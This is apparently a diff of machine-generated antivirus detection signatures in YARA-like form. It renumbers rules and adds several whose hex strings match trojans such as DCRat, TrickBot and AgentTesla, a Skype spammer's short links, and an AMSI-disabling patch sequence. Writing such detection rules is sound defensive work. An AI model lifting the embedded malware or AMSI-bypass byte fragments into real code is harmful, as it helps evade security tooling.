1)*18467+(#a_34_1 & 1)*29807+(#a_00_2 & 1)*29285+(#a_61_3 & 1)*385+(#a_6f_4 & 1)*11886) >=5 } -rule _InfrastructureShared_12462{ +rule _InfrastructureShared_13279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -138900,7 +148148,7 @@ rule _InfrastructureShared_12462{ ((#a_41_0 & 1)*20515+(#a_74_1 & 1)*28515+(#a_4b_2 & 1)*12851+(#a_65_3 & 1)*24933+(#a_53_4 & 1)*12851) >=5 } -rule _InfrastructureShared_12463{ +rule _InfrastructureShared_13280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -138914,7 +148162,7 @@ rule _InfrastructureShared_12463{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*24933+(#a_53_2 & 1)*12851+(#a_61_3 & 1)*30580+(#a_b3_4 & 1)*0) >=5 } -rule _InfrastructureShared_12464{ +rule _InfrastructureShared_13281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -138930,7 +148178,7 @@ rule _InfrastructureShared_12464{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*25975+(#a_65_2 & 1)*24434+(#a_65_3 & 1)*26998+(#a_67_4 & 1)*27977+(#a_73_5 & 1)*26990+(#a_70_6 & 1)*12079) >=5 } -rule _InfrastructureShared_12465{ +rule _InfrastructureShared_13282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -138946,7 +148194,7 @@ rule _InfrastructureShared_12465{ ((#a_5f_0 & 1)*25635+(#a_72_1 & 1)*30313+(#a_61_2 & 1)*29550+(#a_74_3 & 1)*28265+(#a_70_4 & 1)*25972+(#a_6d_5 & 1)*25710+(#a_00_6 & 1)*24882) >=5 } -rule _InfrastructureShared_12466{ +rule _InfrastructureShared_13283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -138963,7 +148211,7 @@ rule _InfrastructureShared_12466{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*26926+(#a_4f_2 & 1)*12851+(#a_01_3 & 1)*2816+(#a_41_4 & 1)*19529+(#a_61_5 & 1)*14642+(#a_65_6 & 1)*25955+(#a_6c_7 & 1)*25940) >=5 } -rule _InfrastructureShared_12467{ +rule _InfrastructureShared_13284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -138978,7 +148226,7 @@ rule _InfrastructureShared_12467{ ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*29552+(#a_74_2 & 1)*25646+(#a_31_3 & 1)*13153+(#a_65_4 & 1)*25972+(#a_41_5 & 1)*19529) >=6 } -rule _InfrastructureShared_12468{ +rule _InfrastructureShared_13285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -138992,7 +148240,7 @@ rule _InfrastructureShared_12468{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*22383+(#a_41_2 & 1)*19529+(#a_79_3 & 1)*16641+(#a_72_4 & 1)*14930) >=6 } -rule _InfrastructureShared_12469{ +rule _InfrastructureShared_13286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -139006,7 +148254,7 @@ rule _InfrastructureShared_12469{ ((#a_54_0 & 1)*18467+(#a_30_2 & 1)*9217+(#a_67_3 & 1)*12108+(#a_79_4 & 1)*27756+(#a_01_5 & 1)*2304) >=6 } -rule _InfrastructureShared_12470{ +rule _InfrastructureShared_13287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -139021,7 +148269,7 @@ rule _InfrastructureShared_12470{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*31042+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=6 } -rule _InfrastructureShared_12471{ +rule _InfrastructureShared_13288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -139035,7 +148283,7 @@ rule _InfrastructureShared_12471{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*109+(#a_33_3 & 1)*26967+(#a_6c_4 & 1)*30575+(#a_21_5 & 1)*11897) >=6 } -rule _InfrastructureShared_12472{ +rule _InfrastructureShared_13289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -139050,7 +148298,7 @@ rule _InfrastructureShared_12472{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*22312+(#a_2d_2 & 1)*13143+(#a_4d_3 & 1)*16942+(#a_69_4 & 1)*27905+(#a_6d_5 & 1)*17454) >=6 } -rule _InfrastructureShared_12473{ +rule _InfrastructureShared_13290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -139065,7 +148313,7 @@ rule _InfrastructureShared_12473{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_b3_5 & 1)*0) >=6 } -rule _InfrastructureShared_12474{ +rule _InfrastructureShared_13291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 21 " @@ -139077,7 +148325,19 @@ rule _InfrastructureShared_12474{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*27136+(#a_02_2 & 1)*-28603) >=7 } -rule _InfrastructureShared_12475{ +rule _InfrastructureShared_13292{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 43 52 61 74 2e 41 44 55 41 21 4d 54 42 00 05 00 5f 03 0a 0b 07 04 28 90 01 01 00 00 06 0c 06 08 6f 90 01 01 00 00 0a 06 18 6f 90 01 01 00 00 0a 06 18 6f 90 01 01 00 00 } //21539 + $a_90_1 = {01 00 00 0a 0d 06 6f 90 01 01 00 00 0a 13 04 11 04 09 16 09 8e 69 6f 90 01 01 00 00 0a 13 05 28 90 01 01 00 00 0a 11 05 } //778 + $a_01_2 = {00 } //-28561 + condition: + ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*778+(#a_01_2 & 1)*-28561) >=7 + +} +rule _InfrastructureShared_13293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -139093,7 +148353,7 @@ rule _InfrastructureShared_12475{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*17408+(#a_69_2 & 1)*14958+(#a_01_3 & 1)*27748+(#a_64_4 & 1)*28492+(#a_36_5 & 1)*29300+(#a_74_6 & 1)*29779) >=7 } -rule _InfrastructureShared_12476{ +rule _InfrastructureShared_13294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -139108,7 +148368,7 @@ rule _InfrastructureShared_12476{ ((#a_54_0 & 1)*18467+(#a_74_2 & 1)*384+(#a_33_3 & 1)*26967+(#a_57_4 & 1)*-32493+(#a_74_5 & 1)*24948+(#a_61_6 & 1)*21349) >=7 } -rule _InfrastructureShared_12477{ +rule _InfrastructureShared_13295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -139124,7 +148384,7 @@ rule _InfrastructureShared_12477{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26485+(#a_4c_2 & 1)*21325+(#a_00_3 & 1)*72+(#a_00_4 & 1)*17985+(#a_37_5 & 1)*22595+(#a_6d_6 & 1)*17153) >=7 } -rule _InfrastructureShared_12478{ +rule _InfrastructureShared_13296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -139136,7 +148396,7 @@ rule _InfrastructureShared_12478{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*72+(#a_34_3 & 1)*13113) >=8 } -rule _InfrastructureShared_12479{ +rule _InfrastructureShared_13297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 07 00 21 " @@ -139152,7 +148412,7 @@ rule _InfrastructureShared_12479{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_b3_6 & 1)*0) >=8 } -rule _InfrastructureShared_12480{ +rule _InfrastructureShared_13298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 05 00 21 " @@ -139166,7 +148426,7 @@ rule _InfrastructureShared_12480{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*3840+(#a_44_2 & 1)*29793+(#a_53_3 & 1)*14958+(#a_4e_4 & 1)*18992) >=9 } -rule _InfrastructureShared_12481{ +rule _InfrastructureShared_13299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -139178,7 +148438,7 @@ rule _InfrastructureShared_12481{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*11264+(#a_46_2 & 1)*17487) >=12 } -rule _InfrastructureShared_12482{ +rule _InfrastructureShared_13300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -139192,7 +148452,7 @@ rule _InfrastructureShared_12482{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28632+(#a_74_2 & 1)*400+(#a_04_3 & 1)*-28632+(#a_01_4 & 1)*28423) >=18 } -rule _InfrastructureShared_12483{ +rule _InfrastructureShared_13301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -139206,7 +148466,7 @@ rule _InfrastructureShared_12483{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144+(#a_72_2 & 1)*17921+(#a_58_3 & 1)*11873+(#a_61_4 & 1)*27756) >=18 } -rule _InfrastructureShared_12484{ +rule _InfrastructureShared_13302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -139218,7 +148478,7 @@ rule _InfrastructureShared_12484{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*10758+(#a_0a_2 & 1)*1025) >=18 } -rule _InfrastructureShared_12485{ +rule _InfrastructureShared_13303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 04 00 21 " @@ -139230,7 +148490,7 @@ rule _InfrastructureShared_12485{ ((#a_54_0 & 1)*18467+(#a_13_2 & 1)*2312+(#a_00_3 & 1)*120) >=22 } -rule _InfrastructureShared_12486{ +rule _InfrastructureShared_13304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -139242,7 +148502,7 @@ rule _InfrastructureShared_12486{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116+(#a_3a_3 & 1)*24938) >=400 } -rule _InfrastructureShared_12487{ +rule _InfrastructureShared_13305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -139252,7 +148512,7 @@ rule _InfrastructureShared_12487{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_12488{ +rule _InfrastructureShared_13306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -139262,7 +148522,7 @@ rule _InfrastructureShared_12488{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_12489{ +rule _InfrastructureShared_13307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -139272,7 +148532,7 @@ rule _InfrastructureShared_12489{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12490{ +rule _InfrastructureShared_13308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -139283,22 +148543,44 @@ rule _InfrastructureShared_12490{ ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*400) >=1 } -rule _InfrastructureShared_12491{ +rule _InfrastructureShared_13309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " strings : $a_54_0 = {3a 50 6f 73 73 69 62 6c 65 53 6b 79 70 65 53 70 61 6d 6d 65 72 00 01 00 0d 81 01 67 6f 6f 2e 67 6c 2f 56 38 57 4c 76 39 01 00 0d 81 01 67 6f 6f 2e 67 6c 2f 4e 59 77 37 47 33 01 00 0d 81 01 67 6f 6f 2e 67 6c 2f 31 6d 30 31 76 77 01 00 0d 81 01 67 6f } //18467 - $a_6c_1 = {38 32 38 39 59 6a 01 00 0d 81 01 67 6f 6f 2e 67 6c 2f 63 47 64 54 52 77 01 00 0d 81 01 67 6f 6f 2e 67 6c 2f 7a 32 79 6a 55 38 01 00 0d 81 01 67 6f 6f 2e 67 6c 2f 5a 33 75 47 50 42 01 00 0d 81 01 67 6f 6f 2e 67 6c 2f 42 6b 32 4a 4f 35 00 00 78 b4 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a } //11887 - $a_33_2 = {2f 54 72 69 63 6b 42 6f 74 2e 43 45 21 4d 54 42 00 01 00 25 00 4d 4f 66 48 3f 36 4d 34 32 46 32 35 32 6c 6f 4c 74 30 4e 7e 37 3f 43 4f 73 53 77 79 69 74 68 38 48 59 6e 6e 50 01 00 5c 02 61 00 66 c7 45 90 01 01 73 00 66 c7 45 90 01 01 77 00 66 c7 45 90 01 01 68 00 66 c7 45 90 01 01 6f 00 66 c7 45 90 01 01 6f 00 66 c7 45 90 01 01 } //26967 - $a_c7_3 = {90 01 01 2e 00 66 c7 45 90 01 01 64 00 66 c7 45 90 01 01 6c 00 66 c7 45 90 01 01 6c 00 66 c7 45 90 01 01 00 00 90 00 00 00 78 b4 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 4f 4f 54 31 32 33 21 4d 54 42 00 01 00 32 03 0a 06 18 5b 8d } //107 - $a_2b_5 = {07 08 18 5b 02 08 18 6f 90 01 01 00 } //5643 - $a_10_6 = {28 90 01 01 00 00 0a 9c 08 18 58 0c 08 06 32 e4 07 2a 90 00 01 00 48 03 25 16 1f 23 9d 6f 90 } //2560 + $a_6c_1 = {38 32 38 39 59 6a 01 00 0d 81 01 67 6f 6f 2e 67 6c 2f 63 47 64 54 52 77 01 00 0d 81 01 67 6f 6f 2e 67 6c 2f 7a 32 79 6a 55 38 01 00 0d 81 01 67 6f 6f 2e 67 6c 2f 5a 33 75 47 50 42 01 00 0d 81 01 67 6f 6f 2e 67 6c 2f 42 6b 32 4a 4f 35 00 00 78 b4 00 00 01 00 01 00 0c 00 21 23 48 53 54 52 3a 44 69 73 61 62 6c } //11887 + $a_53_2 = {2e 50 61 74 63 68 00 01 00 08 01 31 ff 90 00 13 30 04 00 01 00 0b 01 ff 25 00 20 00 10 31 ff 90 00 00 01 00 0b 01 ff 25 00 20 40 00 31 ff 90 00 00 01 00 08 01 b8 57 00 07 80 c3 00 00 01 00 08 01 b8 57 00 07 80 c2 18 00 01 00 0a 01 } //16741 + $a_62_3 = {31 ff 90 00 00 01 00 07 01 33 db 90 00 00 00 00 01 00 07 01 31 c0 90 00 00 00 00 01 00 08 01 90 b8 00 00 00 01 c3 00 01 00 06 01 c3 80 07 00 57 b8 01 00 07 01 18 c2 80 07 00 57 b8 01 00 08 01 b8 57 00 07 80 59 ff e1 00 00 78 b4 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e } //28718 + $a_54_4 = {69 63 6b 42 6f 74 2e 43 45 21 4d 54 42 00 01 00 25 00 4d 4f 66 48 3f 36 4d 34 32 46 32 35 32 6c 6f 4c 74 30 4e 7e 37 3f 43 4f 73 53 77 79 69 } //12851 + $a_48_5 = {6e 6e 50 01 00 5c 02 61 00 66 c7 45 90 01 01 73 00 66 c7 45 90 01 01 77 00 66 c7 45 90 01 01 68 00 66 c7 45 90 01 01 6f 00 66 c7 45 90 01 01 6f 00 66 c7 45 90 01 01 6b } //26740 + $a_45_6 = {01 01 2e 00 66 c7 45 90 01 01 64 00 66 c7 45 90 01 01 6c 00 66 c7 45 90 01 01 6c 00 66 c7 45 90 01 01 00 00 90 00 00 00 78 b4 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 4f 4f 54 31 32 33 21 4d 54 42 00 01 00 32 03 0a 06 18 5b 8d 8d 00 00 01 0b 16 0c 2b 18 07 08 18 5b 02 08 18 6f 90 01 01 00 00 0a 1f 10 28 90 01 01 00 00 0a 9c 08 18 58 0c 08 06 32 e4 07 2a 90 00 01 00 48 03 25 16 1f 23 9d 6f 90 01 01 00 00 0a 0b 28 90 01 01 00 00 0a 06 72 90 01 01 d0 02 70 72 90 01 01 d0 02 70 6f 90 01 01 00 00 0a 28 90 01 01 00 00 06 } //26112 + $a_01_7 = {00 } //-28561 condition: - ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*11887+(#a_33_2 & 1)*26967+(#a_c7_3 & 1)*107+(#a_2b_5 & 1)*5643+(#a_10_6 & 1)*2560) >=1 + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*11887+(#a_53_2 & 1)*16741+(#a_62_3 & 1)*28718+(#a_54_4 & 1)*12851+(#a_48_5 & 1)*26740+(#a_45_6 & 1)*26112+(#a_01_7 & 1)*-28561) >=1 } -rule _InfrastructureShared_12492{ +rule _InfrastructureShared_13310{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0c 00 21 " + + strings : + $a_54_0 = {3a 44 69 73 61 62 6c 65 41 4d 53 49 2e 50 61 74 63 68 00 01 00 08 01 31 ff 90 00 13 30 04 00 01 00 0b 01 ff 25 00 20 00 10 31 ff 90 00 00 01 00 0b 01 ff 25 00 20 40 00 31 ff 90 00 00 01 00 08 01 b8 57 00 07 80 c3 00 00 01 00 08 01 b8 57 00 07 80 c2 } //18467 + $a_00_1 = {0a } //24 + $a_64_2 = {00 31 ff 90 00 00 01 00 07 01 33 db 90 00 00 00 00 01 00 07 01 31 c0 90 00 00 00 00 01 00 08 01 90 b8 00 00 00 01 c3 00 01 00 06 01 c3 80 07 00 57 b8 01 00 07 01 18 c2 80 07 00 57 b8 01 00 08 01 b8 57 00 07 80 59 ff e1 00 00 78 b4 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 72 69 63 6b 42 6f 74 } //11777 + $a_21_3 = {54 42 00 01 00 25 00 4d 4f 66 48 3f 36 4d 34 32 46 32 35 32 6c 6f 4c 74 30 4e 7e 37 3f 43 4f 73 53 77 79 69 74 68 38 48 59 6e 6e 50 01 00 5c 02 61 00 66 c7 45 90 01 01 73 00 66 c7 45 90 01 01 77 00 66 c7 45 } //17198 + $a_68_4 = {66 } //400 f + $a_01_5 = {01 6f 00 66 c7 45 90 01 01 6f 00 66 c7 45 90 01 01 6b 00 66 c7 45 90 01 01 2e 00 66 c7 45 90 01 01 64 00 66 c7 45 90 01 01 6c 00 66 c7 45 90 01 01 6c 00 66 c7 45 90 01 01 00 00 90 00 00 00 78 b4 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 4f 4f 54 31 32 33 21 4d 54 42 00 01 00 32 03 0a 06 18 5b 8d 8d 00 00 01 0b 16 0c 2b 18 07 08 18 5b 02 08 18 6f 90 01 01 } //17863 + $a_1f_6 = {28 90 01 01 00 00 0a 9c 08 18 } //0 + $a_06_7 = {32 e4 07 2a 90 00 01 00 } //3160 + $a_16_8 = {23 9d 6f 90 01 01 00 00 0a 0b 28 90 01 01 00 00 0a 06 72 90 01 01 d0 02 70 72 90 01 01 d0 02 70 6f 90 01 01 00 } //840 + $a_90_9 = {01 00 00 06 6f 90 01 01 00 00 0a 0c 08 6f 90 01 01 00 00 0a 1e 9a 0d 09 19 90 00 00 00 78 b4 00 00 02 00 02 00 02 00 21 } //2560 + $a_54_10 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 48 50 30 31 21 4d 54 42 00 01 00 65 81 01 57 1d b6 09 09 1f 00 00 00 fa 25 33 00 16 00 00 01 00 00 00 8e 00 00 00 9a 00 00 00 a7 01 00 00 44 05 00 00 9c 04 00 00 72 01 00 } //18467 + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*24+(#a_64_2 & 1)*11777+(#a_21_3 & 1)*17198+(#a_68_4 & 1)*400+(#a_01_5 & 1)*17863+(#a_1f_6 & 1)*0+(#a_06_7 & 1)*3160+(#a_16_8 & 1)*840+(#a_90_9 & 1)*2560+(#a_54_10 & 1)*18467) >=1 + +} +rule _InfrastructureShared_13311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -139309,7 +148591,7 @@ rule _InfrastructureShared_12492{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-14490) >=2 } -rule _InfrastructureShared_12493{ +rule _InfrastructureShared_13312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -139320,7 +148602,7 @@ rule _InfrastructureShared_12493{ ((#a_54_0 & 1)*18467+(#a_07_1 & 1)*12806) >=2 } -rule _InfrastructureShared_12494{ +rule _InfrastructureShared_13313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -139330,7 +148612,7 @@ rule _InfrastructureShared_12494{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12495{ +rule _InfrastructureShared_13314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -139341,7 +148623,7 @@ rule _InfrastructureShared_12495{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2304) >=2 } -rule _InfrastructureShared_12496{ +rule _InfrastructureShared_13315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -139351,7 +148633,7 @@ rule _InfrastructureShared_12496{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12497{ +rule _InfrastructureShared_13316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -139362,7 +148644,7 @@ rule _InfrastructureShared_12497{ ((#a_54_0 & 1)*18467+(#a_58_1 & 1)*6929) >=2 } -rule _InfrastructureShared_12498{ +rule _InfrastructureShared_13317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -139373,7 +148655,7 @@ rule _InfrastructureShared_12498{ ((#a_77_0 & 1)*19491+(#a_74_1 & 1)*17756) >=2 } -rule _InfrastructureShared_12499{ +rule _InfrastructureShared_13318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -139384,7 +148666,7 @@ rule _InfrastructureShared_12499{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*9284) >=2 } -rule _InfrastructureShared_12500{ +rule _InfrastructureShared_13319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -139394,7 +148676,7 @@ rule _InfrastructureShared_12500{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_12501{ +rule _InfrastructureShared_13320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -139406,7 +148688,7 @@ rule _InfrastructureShared_12501{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*29537+(#a_66_2 & 1)*12325) >=2 } -rule _InfrastructureShared_12502{ +rule _InfrastructureShared_13321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -139418,7 +148700,7 @@ rule _InfrastructureShared_12502{ ((#a_54_0 & 1)*18467+(#a_7b_1 & 1)*29556+(#a_50_2 & 1)*19521) >=2 } -rule _InfrastructureShared_12503{ +rule _InfrastructureShared_13322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -139433,7 +148715,7 @@ rule _InfrastructureShared_12503{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*-32751+(#a_61_2 & 1)*15717+(#a_00_3 & 1)*125+(#a_00_4 & 1)*34+(#a_c4_5 & 1)*51) >=2 } -rule _InfrastructureShared_12504{ +rule _InfrastructureShared_13323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -139445,7 +148727,7 @@ rule _InfrastructureShared_12504{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_05_2 & 1)*-31988) >=3 } -rule _InfrastructureShared_12505{ +rule _InfrastructureShared_13324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -139457,7 +148739,7 @@ rule _InfrastructureShared_12505{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*816+(#a_8b_2 & 1)*0) >=3 } -rule _InfrastructureShared_12506{ +rule _InfrastructureShared_13325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -139469,7 +148751,7 @@ rule _InfrastructureShared_12506{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*26209+(#a_69_2 & 1)*14958) >=3 } -rule _InfrastructureShared_12507{ +rule _InfrastructureShared_13326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -139481,7 +148763,7 @@ rule _InfrastructureShared_12507{ ((#a_46_0 & 1)*16675+(#a_e8_1 & 1)*21207+(#a_70_2 & 1)*31278) >=3 } -rule _InfrastructureShared_12508{ +rule _InfrastructureShared_13327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -139493,7 +148775,7 @@ rule _InfrastructureShared_12508{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*10016+(#a_53_2 & 1)*8993) >=3 } -rule _InfrastructureShared_12509{ +rule _InfrastructureShared_13328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -139505,7 +148787,7 @@ rule _InfrastructureShared_12509{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*101+(#a_33_2 & 1)*26967) >=3 } -rule _InfrastructureShared_12510{ +rule _InfrastructureShared_13329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -139513,25 +148795,38 @@ rule _InfrastructureShared_12510{ $a_46_0 = {45 52 3a 57 69 6e 33 32 2f 49 72 6f 6e 53 6f 75 72 63 65 5f 49 6e 73 74 61 6c 6c 65 72 00 01 00 18 01 61 00 64 00 5f 00 69 00 72 00 6f 00 6e 00 5f 00 73 00 68 00 6f 00 77 00 01 00 28 01 62 00 75 00 6e 00 64 00 6c 00 65 00 5f 00 } //16675 $a_00_1 = {5f 00 77 00 69 00 74 00 68 00 64 00 72 00 61 00 77 00 61 00 6c 00 01 00 1c 01 69 00 72 00 6f 00 6e 00 73 00 6f 00 75 00 72 00 63 00 65 00 5f 00 75 00 72 00 6c 00 01 00 1c 01 56 00 69 00 72 00 6f 00 6e 00 73 00 6f 00 75 00 72 00 63 00 65 00 42 00 74 00 6e 00 00 00 78 b4 00 00 04 00 04 00 04 00 21 23 } //97 $a_52_2 = {57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 54 54 45 31 32 33 21 4d 54 42 00 01 00 18 81 01 47 75 64 65 62 69 6c 6c 65 64 65 72 20 42 61 72 67 61 69 6e 61 62 6c 65 01 00 22 81 01 48 6f 6d 6f 67 65 6e 69 7a 65 64 20 41 66 6c 73 65 72 6e 65 20 62 75 } //21320 - $a_65_3 = {65 65 66 69 73 68 01 00 23 81 01 4e 65 6f 74 65 72 69 73 74 69 63 20 4d 61 73 74 61 64 65 6e 69 74 69 73 20 4e 61 74 69 6f 6e 61 6c 6c 79 01 00 19 81 01 47 65 6d 61 6b 6b 65 72 20 4e 6f 6e 61 76 6f 69 64 61 6e 63 65 2e 65 78 65 00 00 78 b4 00 00 04 00 